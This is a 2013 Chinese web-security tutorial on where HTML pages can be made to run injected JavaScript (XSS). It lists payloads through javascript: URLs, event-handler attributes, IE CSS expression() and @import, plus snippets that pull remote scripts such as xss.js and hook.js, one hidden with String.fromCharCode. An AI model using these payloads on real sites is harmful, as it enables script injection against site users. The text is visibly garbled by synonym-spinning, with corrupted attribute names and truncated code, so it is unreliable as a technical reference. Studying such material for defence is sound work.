移动安全 安全管理 应用案例 网络威胁系统安全 应用安全 数据安全 云安全
当前位置: 主页 > 信息安全 > 系统安全 >

前端安然:know it then hack it

时间:2013-11-04 12:13来源:TuZhiJiaMi企业信息安全专家 点击:
1、html可以履行javascript的处所有哪些? 先举个例子好比这个代码 1f4ck 变量$a可控,如何让这个代码弹框(履行javascript代码)呢? (1)属性值引进javascript:[code]伪和谈,来履行javascript代码。也就是
Tags系统安全(735)前端安全(1)  

  1、html可以履行javascript的处所有哪些?

  先举个例子好比这个代码

  1f4ck

  变量$a可控,如何让这个代码弹框(履行javascript代码)呢?

  (1)属性值引进javascript:[code]伪和谈,来履行javascript代码。也就是$a=javascript:alert(1)

  只有援引文件的属性才能触发javascript脚本,这些标签有:

  href

  action

  bgsound

  background

  value

  dynsrc

  lowsrc。

  1

  2

  3

  4

  5

  因为这些属性值不是通用属性,所以会在不合的标签中,假定在火狐上测试不成功请在ie下测试,我用ie6测试是成功的。

  (2)"闭合前一个属性值,引进事务驱动属性。事务驱动属性的值是javascript代码,所以可以履行javascript。事务驱动属性是标签的通用属性,所以所有标签都可以用。也就是

  1$a="onclick=alert(1)

  2如许的事务驱动属性标签还有:

  ondblclick

  onmousedown

  onmouseup

  onmou搜刮引擎优化ver

  onmousemove

  onmou搜刮引擎优化ut

  onmousepress

  onmousedown

  onmouseup

  1f4ck

  (3)闭合标签,引进

  (4)CSS可以经由过程expression属性履行javascript代码

  expression是ie独有的css属性,其目标是为了插进一段javascript代码。

  1

  在ie6下履行成功。

  1@import"http://www.91ri.org/xss.css";

  可以从外部导进存在xss代码的css样式。

  假定css属性可控,除可以在expression后面添加javascript代码履行外,还可以像(2)(3)一样经由过程闭合标签和属性值来达到履行javascript的目标。

  乌云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss

  综上,可以在html里履行javascript的处所有

  1、操纵javascript:在属性值里2、事务驱动属性3、 标签中(包含这类情势

  浏览器会在html页面加载时,额外向办事器发送要求,注:这里是html标签的特点,不要和同源策略相混合,同源策略是用来限制浏览器的。

  加载进来的js和本域是同源的。

  哪些标签可以长途加载外部js,并履行呢?

  1、

  1

  2s.src="http://www.91ri.org/xss.js";

  3document.getElementsByTagName("head")[0].appendChild(s);

  直接用3用于

  viewsource

  1

  2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));

  3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);

  4b.src=‘hook.js';

  5a.appendChild(b);">

------分隔线----------------------------

推荐内容